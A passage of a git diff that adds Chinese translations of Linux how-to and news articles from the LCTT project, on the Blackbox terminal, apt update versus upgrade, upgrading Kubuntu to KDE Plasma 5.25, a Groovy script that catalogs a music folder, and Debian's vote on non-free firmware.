Terminal for Minimalists Linux Users.md b/published/202209/20220824 Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users.md new file mode 100644 index 0000000000..e3532f356c --- /dev/null +++ b/published/202209/20220824 Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users.md @@ -0,0 +1,144 @@ +[#]: subject: "Blackbox is an Aesthetically Pleasing Terminal for Minimalists Linux Users" +[#]: via: "https://itsfoss.com/blackbox-terminal/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14992-1.html" + +Blackbox:极简主义 Linux 用户的美观终端 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/01/230823b2n8vhe6jn5vz5uq.jpg) + +有 [许多可用于 Linux 的终端仿真器][1]。从 Terminator 到 Tilix,你有多种终端可供选择。 + +但这并没有阻止新终端应用的到来。你最近已经见过了 [GNOME Console][2] 吧,今天,我将向你介绍 Blackbox。 + +### Blackbox 终端:概述和功能 + +Blackbox 是一个支持 GTK4 的终端仿真器。开发者为了他可以在 Linux 上使用外观优美的终端应用而创建了这个项目。 + +所以,不要指望它有很多功能。它只是一个使用 GTK4 工具包并支持主题的终端仿真器。 + +换句话说,它更多注重的是关于外观而不是功能。 + +以下是 Blackbox 的主要亮点: + +* 可设置主题(支持 [Tilix][3] 兼容的配色方案) +* 主题与窗口装饰的融合 +* 自定义字体 +* 各种可自定义的 UI 设置 +* 标签 +* 可切换的标题栏 +* 点击打开链接 +* 文件拖放支持 + +谈到外观,让我们来看看它提供的不同外观。默认窗口将类似于下面的截图。 + +![Default look of Blackbox terminal][4] + +#### 没有标题栏 + +你也可以取消标题栏,如下所示。这是 GTK4 应用程序中最“流行”的功能之一。 + +![Blackbox without header bar][5] + +你还可以在无标题栏模式下启用浮动控件。 + +![Floating controls with no header bar mode][6] + +#### 轻松复制和粘贴(不要抗拒) + +`Ctrl+C` 和 `Ctrl+V` 就像复制粘贴的通用键盘快捷键。 + +但是古老的 Unix 在宇宙之前就存在了,因此它使用 [Ctrl+C 键来终止终端中正在运行的程序][7]。 + +但是,有些人发现不能使用他们最喜欢的快捷键来 [在终端中复制粘贴][8] 有点不方便。 + +Blackbox 允许你通过启用“轻松复制和粘贴”设置来更改它。启用此设置后,你可以使用 `Ctrl+C` 和 `Ctrl+v` 进行复制粘贴操作。 + +不用担心。`Ctrl+C` 仍可用于停止正在运行的命令。 + +![Easy copy-paste mode allows using Ctrl+C and Ctrl+V keys][9] + +#### 主题 + +你还可以从设置中选择不同的主题。有几个浅色和深色主题可供选择。你还可以使用 Tilix 风格的主题。 + +![Available themes for Blackbox][10] + +让我们看看它在 Yaru 主题和不扩展选项卡的情况下的外观,这与默认的 Blackbox 行为不同。 + +![Blackbox with a changed theme][11] + +#### 重置为默认 + +还有一些更方便的功能,例如记住窗口大小、按像素滚动等。 + +好消息是,如果你对设置进行了太多更改,你可以将它们全部还原并重置为默认设置。 + +该选项在“首选项Preferences”的“高级Advance”选项卡中可用。 + +![reset blackbox settings to default][12] + +### 安装 Blackbox 终端 + +请记住,**Blackbox 处于开发的早期阶段**。我在切换主题时出现过崩溃。 + +要安装 Blackbox 终端,你应该在系统中安装 [Flatpak 并启用 Flathub 仓库][13]。 + +使用此命令在你的系统上安装 Blackbox: + +``` +flatpak install flathub com.raggesilver.BlackBox +``` + +在 Fedora 和其他一些与 Flatpak 集成的发行版上,你可以从软件中心安装 Blackbox。 + +![Blackbox can also be installed in GNOME Software Center][14] + +安装后,你可以从应用菜单启动它。 + +#### 卸载 Blackbox 终端 + +如果你不喜欢 Blackbox 并想将其删除,请输入以下命令将其删除。 + +``` +flatpak uninstall flathub com.raggesilver.BlackBox +``` + +### 结论 + +在我看来,Blackbox 是一个不错的终端模拟器。在不支持 GTK4 的发行版上,你可以获得 GTK4 所能提供的所有精彩内容。它提供的功能足以应付日常工作。 + +最后,这一切都取决于个人喜好。你可能会喜欢它,也可能不喜欢它。如果你喜欢体验,请尝试一下,并在评论栏与我们分享你的经验。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/blackbox-terminal/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/linux-terminal-emulators/ +[2]: https://itsfoss.com/gnome-console/ +[3]: https://github.com/gnunn1/tilix +[4]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-default.png +[5]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-noheader.png +[6]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-floating-controls.png +[7]: https://itsfoss.com/stop-program-linux-terminal/ +[8]: https://itsfoss.com/copy-paste-linux-terminal/ +[9]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-easy-copy-paste.png +[10]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-theme-selection.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-yaru.png +[12]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-reset.png +[13]: https://itsfoss.com/flatpak-guide/ +[14]: https://itsfoss.com/wp-content/uploads/2022/08/blackbox-install.png diff --git a/published/202209/20220824 sudo apt update vs upgrade- What-s the Difference-.md b/published/202209/20220824 sudo apt update vs upgrade- What-s the Difference-.md new file mode 100644 index 0000000000..2b0fb50ab5 --- /dev/null +++ b/published/202209/20220824 sudo apt update vs upgrade- What-s the Difference-.md @@ -0,0 +1,149 @@ +[#]: subject: "sudo apt update vs upgrade: What’s the Difference?" +[#]: via: "https://itsfoss.com/apt-update-vs-upgrade/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "Yufei-Yan" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14994-1.html" + +apt 的 update 和 upgrade 命令的区别是什么? +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/02/224416uecz5x75yalc0axc.jpg) + +如果想让你的 Ubuntu 或者 Debian 系统保持更新,要用 `sudo apt update` 和 `sudo apt upgrade` 命令组合。 + +一些以前的教程也会提到 `sudo apt-get update` 和 `sudo apt-get upgrade`。 + +`apt` 和 `apt-get` 命令运行起来几乎一样,除了一些细微的差别,后面我会讨论。 + +我们首先讨论一下 `update` 和 `upgrade` 的区别。这两个难道不是一样的吗? + +### apt 的 update 和 upgrade 的区别 + +尽管听上去运行 `apt update` 可以给你一个包的最新版本,然而这并不正确。`update` 命令只会获得系统上所有包的最新信息,并不会下载或者安装任何一个包。而是 `apt upgrade` 命令来把这些包下载和升级到最新版本。 + +还是有点困惑?让我来接着解释。我建议阅读 [包管理器的概念][1]。这个会帮你更好的理解这些东西。 + +![Linux Package Manager Explanation][2] + +基本上,你的系统围绕着一个所有可用包的数据库(缓存)工作。注意,这个缓存(或者数据库)并不包含这些包本身,仅仅是关于包的元数据(版本、仓库、依赖等)。 + +如果你不更新这个数据库,系统就不会知道是否有更新的版本。 + +当你运行 `apt update` 或者 `apt-get update` 命令,它会获取这些包的最新元数据(包的版本等)。 + +![apt update][3] + +这时候本地缓存就被更新了,有一些包可以升级。用 `sudo apt upgrade` 可以升级所有(可升级的)包。 + +它会显示要升级的包,并且通过回车(默认选择是 `Y`)或者按下 `Y` 键进行确认。要在这个阶段取消升级,可以按下 `N`。 + +![apt upgrade][4] + +下面这些可能会帮助你记忆: + +* `apt update`:更新包缓存(可以知道包的哪些版本可以被安装或升级) +* `apt upgrade`:升级包到最新版本 + +因为有一些管理员命令,需要作为 root 运行。因此需要使用 `sudo` 配合其他命令。`sudo` 使你能够作为 root 在 Ubuntu 和 Debian 上运行命令。 + +既然理解了 `update` 和 `upgrade` 是如何一起运行的,我们接下来来讨论一下 `apt` 和 `apt-get` 的用法。 + +### apt 还是 apt-get?应该用哪个? + +Debian 和 Ubuntu 使用的是 APT 包管理系统。不要和 `apt` 命令弄混了。 + +有许多和 APT 包管理交互的命令;`apt-get`、`apt`、`dpkg`、`aptitude` 等。 + +这里面最受欢迎的就是 `apt-get` 命令。它是一个低层级low-level且功能丰富的命令。`apt` 是 `apt-get` 命令的一个更新而更简单的版本。 + +可以读一下这篇文章来 [了解 atp 和 apt-get 命令的不同][5]。下面重点讨论这些命令中 `update` 和 `upgrade` 选项的区别。 + +#### apt update vs apt-get update + +`apt-get update` 和 `apt update` 做的是同样的事,都是更新本地包缓存,这样的话你的系统就知道有哪些包的版本是可用的。 + +从技术上讲,其实并没有区别。然而,`apt update` 在一个方面比 `apt-get update` 做的好,**它会告诉你可升级的包的数量**。 + +``` +Hit:15 https://ppa.launchpadcontent.net/slimbook/slimbook/ubuntu jammy InRelease +Fetched 213 kB in 4s (55.8 kB/s) +Reading package lists... Done +Building dependency tree... Done +Reading state information... Done +6 packages can be upgraded. Run 'apt list --upgradable' to see them. +``` + +`apt-get update` 甚至不会告诉你包是否可以升级。 + +![apt get update][6] + +![apt update output][7] + +从 `apt` 中可以看到 [列出可升级的包][8],而 `apt-get` 甚至没有这个选项。 + +``` +# apt list --upgradable +Listing... Done +fprintd/jammy-updates 1.94.2-1ubuntu0.22.04.1 amd64 [upgradable from: 1.94.2-1] +gnome-control-center-data/jammy-updates,jammy-updates 1:41.7-0ubuntu0.22.04.4 all [upgradable from: 1:41.7-0ubuntu0.22.04.1] +gnome-control-center-faces/jammy-updates,jammy-updates 1:41.7-0ubuntu0.22.04.4 all [upgradable from: 1:41.7-0ubuntu0.22.04.1] +gnome-control-center/jammy-updates 1:41.7-0ubuntu0.22.04.4 amd64 [upgradable from: 1:41.7-0ubuntu0.22.04.1] +libpam-fprintd/jammy-updates 1.94.2-1ubuntu0.22.04.1 amd64 [upgradable from: 1.94.2-1] +vivaldi-stable/stable 5.4.2753.40-1 amd64 [upgradable from: 5.4.2753.37-1] +``` + +现在来比较一下两个命令中 `upgrade` 的选项。 + +#### apt upgrade vs apt-get upgrade + +`apt-get upgrade` 和 `apt upgrade` 命令根据本地包缓存(通过 `update` 命令更新)的数据,安装可升级包的最新版本。 + +然而,`apt upgrade` 命令会做两件与 `apt-get upgrade` 不同的事情。 + +`apt upgrade` 命令可以升级 Linux 内核版本,`apt-get upgrade` 不能。`apt-get` 命令需要使用 [apt-get dist-upgrade][9] 来升级内核版本。 + +![apt-get upgrade command cannot upgrade Linux kernel version][10] + +这是因为升级内核版本意味着安装一个全新的包。`apt-get upgrade` 命令不能安装一个新的包。它只能升级现有的包。 + +`apt upgrade` 比 `apt-get` 做的好的另一件小事是,它会在底部**显示一个进度条**。 + +![apt upgrade progress bar][11] + +### 总结 + +`update` 和 `upgrade` 两个词很相似,这就是为什么很多新用户会感到困惑。有时候,我觉得 `apt update` 命令应该和 `apt upgrade` 命令合并。 + +我意思是 `upgrade`(所有已安装的包)和 `update`(本地包元数据缓存)一起完成工作。为什么要有两个分开的命令呢?把这两个领命合成一个 `upgrade` 命令吧。Fedora 就是这样对 DNF 命令进行了改进。不过这只是我的观点。 + +我希望这篇文章可以解释一些关于 `apt-get update`、`apt-get upgrade` 和 `apt update` 以及 `apt upgrade` 命令的问题。 + +如果有任何问题,请与我联系。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/apt-update-vs-upgrade/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[Yufei-Yan](https://github.com/Yufei-Yan) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/package-manager/ +[2]: https://itsfoss.com/wp-content/uploads/2020/10/linux-package-manager-explanation.png +[3]: https://itsfoss.com/wp-content/uploads/2022/08/apt-update.png +[4]: https://itsfoss.com/wp-content/uploads/2022/08/apt-upgrade.png +[5]: https://itsfoss.com/apt-get-upgrade-vs-dist-upgrade/ +[6]: https://itsfoss.com/wp-content/uploads/2022/08/apt-get-update.png +[7]: https://itsfoss.com/wp-content/uploads/2022/08/apt-update-output.png +[8]: https://itsfoss.com/apt-list-upgradable/ +[9]: https://itsfoss.com/apt-get-upgrade-vs-dist-upgrade/ +[10]: https://itsfoss.com/wp-content/uploads/2022/08/apt-get-upgrade.png +[11]: https://itsfoss.com/wp-content/uploads/2022/08/apt-upgrade-progress-bar.png diff --git a/published/202209/20220825 How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish.md b/published/202209/20220825 How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish.md new file mode 100644 index 0000000000..df94a21a26 --- /dev/null +++ b/published/202209/20220825 How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish.md @@ -0,0 +1,118 @@ +[#]: subject: "How to Get KDE Plasma 5.25 in Kubuntu 22.04 Jammy Jellyfish" +[#]: via: "https://www.debugpoint.com/kde-plasma-5-25-kubuntu-22-04/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14997-1.html" + +如何在 Kubuntu 22.04 中安装 KDE Plasma 5.25 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/03/233812h11u1b18p8j0u8ct.jpg) + +KDE 开发人员现在启用了流行的向后移植 PPA,并对 KDE Plasma 5.25 进行了必要的更新,你现在可以将其安装在 Kubuntu 22.04 Jammy Jellyfish 中。下面是方法。 + +KDE Plasma 5.25 于不久前的 2022 年 6 月 14 日发布,其中包含一些令人振奋的更新。在此版本中,你将获得**动态强调色**、改进的登录头像、**浮动面板**以及我们在 [功能亮点文章][1] 中介绍的许多功能。 + +但是,如果你正在运行早在 2022 年 4 月发布的 [Kubuntu 22.04 Jammy Jellyfish][2],那么你使用的是带有 KDE Framework 5.92 的 KDE Plasma 5.24。 + +你可能正在稳定的 Kubuntu 22.04 版本中等待享受新功能,现在可以通过著名的向后移植 PPA 在 Kubuntu 22.04 中安装它。 + +### 如何在 Kubuntu 22.04 中安装 KDE Plasma 5.25 + +这是使用最新的 KDE Plasma 5.25 升级 Kubuntu 22.04 的方法。 + +#### GUI 方式 + +如果你惯于使用 KDE 的软件应用 “发现Discover”,请打开该应用。然后进入 “设置Settings” > “软件源Sources” 并添加 PPA:`ppa:kubuntu-ppa/backports-extra`。然后单击“更新Updates”。 + +#### 终端方法(推荐) + +我建议你打开一个终端并进行此升级以更快地执行和安装。 + +打开 Konsole 并运行以下命令以添加 [向后移植 PPA][3]。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports-extra +``` + +![Upgrade Kubuntu 22.04 with KDE Plasma 5.25][4] + +现在,通过运行以下命令刷新包列表。然后验证 5.25 包是否可用。 + +``` +sudo apt update +``` + +``` +apt list --upgradable | grep 5.25 +``` + +![KDE Plasma 5.25 packages are available now][5] + +最后,运行最后一个命令来启动升级。 + +``` +sudo apt full-upgrade +``` + +总共下载大约 200 MB 的软件包。根据你的互联网连接速度,整个过程大约需要 10 分钟。 + +上述命令完成后,重新启动系统。 + +重启后,你应该会在 Kubuntu 22.04 LTS 中看到新的 KDE Plasma 5.25。 + +![KDE Plasma 5.25 in Kubuntu 22.04 LTS][6] + +### 其他向后移植 PPA + +请注意,[另外的向后移植 PPA][7] `ppa:kubuntu-ppa/backports` 目前提供的是 Plasma 5.24。因此,请勿使用与上面不同的 PPA。我不确定这个 PPA 是否会得到更新。 + +``` +sudo add-apt-repository ppa:kubuntu-ppa/backports // 不要使用这个 +``` + +### 如何卸载 + +在任何时候,如果你想回到 KDE Plasma 桌面的原始版本,那么你可以安装 `ppa-purge` 并删除该 PPA,然后刷新包。 + +打开终端,依次执行以下命令: + +``` +sudo apt install ppa-purge +sudo ppa-purge ppa:kubuntu-ppa/backports-extra +sudo apt update +``` + +完成上述命令后,重启系统。 + +### 结束语 + +这就是全部了。一个漂亮而简单的步骤,将 Jammy Jellyfish 中的 KDE Plasma 升级到 Plasma 5.25。我希望你升级顺利。 + +如果你遇到任何错误,请在评论栏告诉我。 + +干杯。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/kde-plasma-5-25-kubuntu-22-04/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/kde-plasma-5-25/ +[2]: https://www.debugpoint.com/kubuntu-22-04-lts/ +[3]: https://launchpad.net/~kubuntu-ppa/+archive/ubuntu/backports-extra +[4]: https://www.debugpoint.com/wp-content/uploads/2022/08/Upgrade-Kubuntu-22.04-with-KDE-Plasma-5.25.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/08/KDE-Plasma-5.25-packages-are-available-now.jpg +[6]: https://www.debugpoint.com/wp-content/uploads/2022/08/KDE-Plasma-5.25-in-Kubuntu-22.04-LTS-1024x575.jpg +[7]: https://launchpad.net/~kubuntu-ppa/+archive/ubuntu/backports diff --git a/published/202209/20220826 How I analyze my music directory with Groovy.md b/published/202209/20220826 How I analyze my music directory with Groovy.md new file mode 100644 index 0000000000..8a0a711353 --- /dev/null +++ b/published/202209/20220826 How I analyze my music directory with Groovy.md @@ -0,0 +1,131 @@ +[#]: subject: "How I analyze my music directory with Groovy" +[#]: via: "https://opensource.com/article/22/8/groovy-script-java-music" +[#]: author: "Chris Hermansen https://opensource.com/users/clhermansen" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15004-1.html" + +我如何使用 Groovy 分析我的音乐目录 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/06/091157xsta20az0az0ws0k.jpg) + +> 为了简化 Java 的繁琐,我制作了一个 Groovy 工具来分析我的音乐目录。 + +最近,我一直在研究 Groovy 是如何简化略微繁琐的 Java 的。在这篇文章中,我开始了一个简短的系列,通过创建一个分析我的音乐目录的工具来演示 Groovy 脚本。 + +在本文中,我将演示 `groovy.File` 类如何扩展和精简 `java.File` 并简化其使用。这为查看音乐文件夹的内容提供了一个框架,以确保预期的内容(例如,`cover.jpg` 文件)就位。我使用 [JAudiotagger 库][2] 来分析音乐文件的标签。 + +### 安装 Java 和 Groovy + +Groovy 基于 Java,需要安装 Java。 Java 和 Groovy 的最新和稳定的版本可能都在你的 Linux 发行版的仓库中。 Groovy 也可以直接从 [Apache Foundation 网站][3] 安装。对于 Linux 用户来说,一个不错的选择是 [SDKMan][4],它可用于获取 Java、Groovy 和许多其他相关工具的多个版本。对于本文,我使用以下 SDK 版本: + +* Java:版本 11.0.12-open 的 OpenJDK 11 +* Groovy:版本 3.0.8 + +### 音乐元数据 + +最近,我重整了我的音乐消费方式。我决定使用优秀的开源 [Cantata][5] 音乐播放器,它是开源 [MPD 音乐播放器][6] 的一个前端。我所有的电脑的音乐都存储在 `/var/lib/mpd/music` 目录下。在该音乐目录下有艺术家子目录,在每个艺术家子目录下有专辑子目录,包含音乐文件、`cover.jpg`,偶尔还有 PDF 格式的内页说明。 + +我绝大部分的音乐文件都是 FLAC 格式的,有一些是 MP3 格式,可能还有一小部分是 OGG 格式。我选择 JAudiotagger 库的一个原因是它可以透明地处理不同的标签格式。当然,JAudiotagger 是开源的! + +那么查看音频标签有什么意义呢?以我的经验,音频标签的管理极差。(提到音频标签,)我的脑海中浮现出“粗心”这个词。这是标签本身真正存在的问题,也可能是出于我自己的学究倾向。无论如何,这是一个可以通过使用 Groovy 和 JAudiotagger 解决的重要问题。不过,它不仅适用于音乐收藏。许多其他现实世界的问题也适用,如需要下沉到文件系统中的目录树来处理在那里找到的内容。 + +### 使用 Groovy 脚本 + +这是此任务所需的基本代码。我在脚本中加入了注释,这些注释反映了我通常留给自己的(相对简写的)“注释提醒”: + +``` +// 定义音乐库目录 +def musicLibraryDirName = '/var/lib/mpd/music' +// 输出 CSV 文件标题行 +println "artistDir|albumDir|contentFile" +// 迭代音乐库目录中的每个目录 +// 这一层应该是艺术家目录 +new File(musicLibraryDirName).eachDir { artistDir -> + // 迭代艺术家目录中的每个目录 + // 这一层应该是专辑目录 + artistDir.eachDir { albumDir -> + // 迭代专辑目录中的每个目录 + // 这里应该是内容 + // 或相关内容(如 `cover.jpg`,PDF 格式的内页说明) + albumDir.eachFile { contentFile -> + println "$artistDir.name|$albumDir.name|$contentFile.name" + } + } +} +``` + +如上所述,我使用 `groovy.File` 在目录树中移动。具体来说: + +第 7 行创建一个新的 `groovy.File` 对象并在其上调用 `groovy.File.eachDir()`,第 7 行的 `{` 和第 18 行的结尾的 `}` 之间的代码是传给 `eachDir()` 的 `groovy.Colsue` 参数。 + +这意味着 `eachDir()` 为目录中找到的每个子目录执行该代码。这类似于 Java *lambda*(也称为“匿名函数”)。 Groovy 闭包不会像 lambda 那样限制对调用环境的访问(在最新版本的 Groovy 中,如果你愿意,也可以使用 Java lambda)。如上所述,音乐库目录中的子目录应该是艺术家目录(例如,“Iron Butterfly” 或 “Giacomo Puccini”),因此 `artistDir` 是 `eachDir()` 传递给闭包的参数。 + +第 10 行对每个 `artistDir` 调用 `eachDir()`,第 10 行的 `{` 和第 17 行的 `}` 之间的代码形成另一个处理 `albumDir` 的闭包。 + +第 14 行,在每个 `albumDir` 上调用 `eachFile()`,第 14 行的 `{` 和第 16 行的 `}` 之间的代码形成了处理专辑内容的第三级闭包。 + +在本文的范围内,我对每个文件唯一需要做的就是开始构建信息表,我将其创建为一个以竖线分隔的 CSV 文件,它可以导入 [LibreOffice][7] 或 [OfficeOnly][8] 或任何其他电子表格。现在,代码输出前三列:艺术家目录名、专辑目录名和内容文件名(同样,第 2 行输出 CSV 标题行)。 + +在我的 Linux 笔记本电脑上运行它会产生以下输出: + +``` +$ groovy TagAnalyzer.groovy | head +artistDir|albumDir|contentFile +Habib Koite & Bamada|Afriki|02 - Ntesse.flac +Habib Koite & Bamada|Afriki|08 - NTeri.flac +Habib Koite & Bamada|Afriki|01 - Namania.flac +Habib Koite & Bamada|Afriki|07 - Barra.flac +Habib Koite & Bamada|Afriki|playlist.m3u +Habib Koite & Bamada|Afriki|04 - Fimani.flac +Habib Koite & Bamada|Afriki|10 - Massake.flac +Habib Koite & Bamada|Afriki|11 - Titati.flac +Habib Koite & Bamada|Afriki|03 – Africa.flac +[...] +Richard Crandell|Spring Steel|04-Japanese Lullaby [Richard Crandell].flac +Richard Crandell|Spring Steel|Spring Steel.pdf +Richard Crandell|Spring Steel|03-Zen Dagger [Richard Crandell].flac +Richard Crandell|Spring Steel|cover.jpg +$ +``` + +在性能方面: + +``` +$ time groovy TagAnalyzer.groovy | wc -l +9870 + +real 0m1.482s +user 0m4.392s +sys 0m0.230s +$ +``` + +又好又快。它在一秒半内处理近 10,000 个文件!对我来说足够快。可观的性能、紧凑且可读的代码,还有什么不喜欢的? + +在我的下一篇文章中,我会打开 JAudiotagger 并查看每个文件中的标签。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/8/groovy-script-java-music + +作者:[Chris Hermansen][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/clhermansen +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/programming-code-keyboard-laptop-music-headphones.png +[2]: http://www.jthink.net/jaudiotagger/examples_read.jsp +[3]: https://groovy.apache.org/download.html +[4]: https://opensource.com/article/22/3/manage-java-versions-sdkman +[5]: https://opensource.com/article/17/8/cantata-music-linux +[6]: https://www.musicpd.org/ +[7]: https://opensource.com/tags/libreoffice +[8]: https://opensource.com/article/20/7/nextcloud diff --git a/published/202209/20220829 Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image.md b/published/202209/20220829 Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image.md new file mode 100644 index 0000000000..5cb3938980 --- /dev/null +++ b/published/202209/20220829 Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image.md @@ -0,0 +1,75 @@ +[#]: subject: "Debian Finally Starts a General Resolution to Consider a Non-Free Firmware Image" +[#]: via: "https://news.itsfoss.com/debian-non-free/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14988-1.html" + +Debian 终于开始讨论非自由固件镜像了 +====== + +> Debian 终于开始考虑将非自由固件纳入一般决议中了。那么,将会如何呢? + +![Debian 终于开始考虑非自由固件映像的一般决议][1] + +由于其稳定性和新功能之间的平衡的做法,Debian 是最受欢迎的 Linux 发行版之一。 + +但是,它并没有配备任何非自由固件。 + +对于想在新硬件上使用 Debian 的用户来说,这已经成为一个问题。 + +大多数最新的设备和配置都需要非自由固件来使其工作,这包括 Wi-Fi、图形显示等等。 + +为了解决这个问题,前 Debian 项目负责人、开发者 Steve McIntyre 已经对此积极讨论了一段时间。最近在 DebConf 22 会议上,正如 [Geeker's Digest][2] 所发现的那样,Steve 谈到了修复固件的混乱局面,更好地向用户和开发者表明了这一点。 + +现在社区中讨论的进展是,看起来 Debian 已经启动了一项一般决议,让其利益相关者投票决定如何处理非自由固件的问题。 + +### Debian 的一般决议提案 + +这个一般决议案有四个提案(LCTT 译注:原文和官方提案说明不够清晰,我根据理解重新梳理了): + +* 提案 A:改变原有的官方镜像集(安装镜像和实况镜像),Debian 将在官方镜像中包含非自由固件包。包含的固件将在检测到需求时默认启用。然而,它也将包括让用户在启动时禁用的方法。(截止本文发表时的提案支持人数:17) +* 提案 B:不改变原有的镜像集,保留原来的不包含非自由固件的镜像,另外单独提供包含非自由固件的官方镜像。新的镜像下载链接将更醒目以方便新用户找到它们,而原来的镜像的视觉优先级将变低。(截止本文发表时的提案支持人数:10) +* 提案 C:和提案 B 类似,在用户下载不包含自由固件的镜像时,提醒他们还有包含非自由固件的镜像可供下载。(截止本文发表时的提案支持人数:6) +* 提案 D:继续遵守《Debian 社会契约Debian Social Contract》第 1 节和第 5 节的精神,继续保持现状,不在 Debian 中包含任何非自由软件,但支持它们的使用,并欢迎其他人分发这样的作品。(截止本文发表时的提案支持人数:6) + +这些是一些有趣的建议。我认为提案 A 对所有人都很方便,同时给高级用户禁用非自由固件的机会。 + +你可以在 [官方网页][3] 中了解更多关于一般决议的信息。 + +你怎么看? + +### 将非自由固件纳入官方发行版中 + +至于目前的情况,你可以找到带有非自由固件的“**非官方**”的 Debian 镜像。 + +然而,并不是每个用户都知道它,即使它在 Debian 的下载页面上被宣传,“**非官方**”的说法也不会让用户比推荐的镜像更喜欢。 + +此外,当用户可以选择任何基于 Ubuntu 的发行版或 Ubuntu 作为替代品时,期望他们安装非自由固件是违反直觉的。 + +不仅仅限于这些问题,Steve 在他的 [博客][4] 中还提到了其他一些问题,包括: + +* 维护独立的非自由镜像是很耗时的。 +* 由于缺乏非自由固件,许多用户不喜欢官方镜像。 + +*那么,你认为 Debian 的一般决议的投票结果是什么?一个单独的介质镜像?还是把它包括在官方镜像中?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/debian-non-free/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/wordpress/2022/07/debian-non-free-firmware.jpg +[2]: https://www.geekersdigest.com/debian-on-the-verge-to-include-non-free-firmware-in-official-releases/ +[3]: https://www.debian.org/vote/2022/vote_003#timeline +[4]: https://blog.einval.com/2022/04/19#firmware-what-do-we-do diff --git a/published/202209/20220830 Some ways to get better at debugging.md b/published/202209/20220830 Some ways to get better at debugging.md new file mode 100644 index 0000000000..f0144e3ceb --- /dev/null +++ b/published/202209/20220830 Some ways to get better at debugging.md @@ -0,0 +1,115 @@ +[#]: subject: "Some ways to get better at debugging" +[#]: via: "https://jvns.ca/blog/2022/08/30/a-way-to-categorize-debugging-skills/" +[#]: author: "Julia Evans https://jvns.ca/" +[#]: collector: "lkxed" +[#]: translator: "aftermath0703" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14991-1.html" + +提高调试能力的一些方法 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/01/222854m78u44otl68yxbyu.jpg) + +你们好!我一直在编写一本关于调试的杂志(这是 [目录的初稿][1])。 + +作为其中的一部分,我认为阅读一些关于调试的学术论文可能会很有趣,上周 [Greg Wilson][2] 给我发了一些关于调试学术研究的论文。 + +其中一篇论文(《[建立一个调试教学的框架[付费墙]][3]》)对我们有效调试所需的不同种类的知识/技能进行了分类,我非常喜欢。它来自另一篇关于故障排除的更一般性的论文:《[学会排错:一个新的基于理论的设计架构][4]》。 + +我认为这个分类对于思考如何更好地进行调试是一个非常有用的结构,所以我把论文中的五个类别重新规划为你可以采取的行动,以提高调试的效率。 + 